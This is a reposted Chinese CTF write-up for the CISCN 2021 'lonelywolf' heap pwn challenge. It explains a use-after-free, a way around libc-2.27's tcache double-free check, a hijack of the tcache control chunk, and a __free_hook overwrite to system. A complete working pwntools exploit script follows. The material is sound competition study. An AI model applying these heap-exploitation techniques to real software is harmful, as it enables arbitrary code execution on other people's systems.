ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2021全国大学生信息安全竞赛WP(CISCN)

2021-05-17 09:59:00  阅读:3692  来源: 互联网

标签:head CISCN 堆块 libc free sendline 2021 WP recvuntil


CISCN_2021_WP

概述

  作为学习不到一年的练习生,今年第一次参加国赛,本以为题目会比较温柔,但是最后只做出了一道pwn题,本来还有两道pwn题是有机会的,但还是缺少一些知识或者技巧吧,没做出来,然后就结束了。本次国赛pwn题出了一道arm 64位结构的,其余都是正常的linux下pwn题,使用libc-2.27.so,有一道考了沙箱机制。

ciscn_2021_lonelywolf

  ciscn_2021_lonelywolf
  这是我做出来的那道pwn题,这个pwn题整体说来不算难,是比较常规的pwn题,使用libc-2.27.so,比赛给的libc版本存在tcache double free检测,需要绕过。这一点和我平时在BUUCTF oj 上练习的版本以及自己在官网上找的debug版本好像有所区别,虽然同样是libc-2.27.so,但这些版本并不存在tcache double free检测。
  下面对题目简单分析一下,题目保护全开,整个题目实现了增删查改四个功能,这里有个trick,每个功能会要求输入对应的index,但实际上并没有用,因为题目只会保留最新的一个堆块指针和大小,并没有使用链表或者数组之类的结构来存储堆块指针。当然index会作为判断条件之一,我们只需要输入0,让if检测通过即可。如下图所示,展示了这个trick:
index
  如下面两个截图所示,是这道题目存在的两个漏洞,第一个漏洞是在edit功能里面,这里存在off_by_null,不过我的利用方式中并没有使用这个漏洞,所以这道题是存在多种不同的利用方式的。然后第二个漏洞在free功能里面,存在明显的UAF漏洞。
off_by_null
uaf
  接下来介绍下我的利用思路,由于题目限制了alloc的chunk大小,所以无法申请unsorted bin大小的堆块。所以这里首先构造double free,然后泄露出堆地址,计算出和tcache控制堆块head的偏移,然后在double free的基础上将堆块分配到head处。随后我们就可以修改控制堆块head的标志位,从而释放堆块到unsorted bin中,然后泄露处libc的地址。这里我们修改0x250的chunk标记位0xff,随后释放这个tcache控制堆块head,大小刚好也就是0x250,所以之后head会进入unsorted bin,此时利用我们就能leak出libc地址了。之后同样是修改tcache控制堆块head的一些标记,将 free_hook-0x8 的地址填入0x40的tcache堆块指针中,随后申请相同堆块的大小就能将堆块分配到 free_hook-0x8 上,最后填入"/bin/sh\x00"+system,free即可获取shell。下面是完整的exp:

from pwn import *


ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process([ld_path, "./lonelywolf"], env={"LD_PRELOAD":libc_path})
# context.log_level = "debug"

def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

# leak heap addr
new(0x78)
free()
edit("a"*0x10)   # bypass tcache double free
free()
show()
#  print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)

# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# count
libc = ELF("/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))

# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

p.interactive()

总结

不忘初心,砥砺前行!

标签:head,CISCN,堆块,libc,free,sendline,2021,WP,recvuntil
来源: https://blog.csdn.net/A951860555/article/details/116910945

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有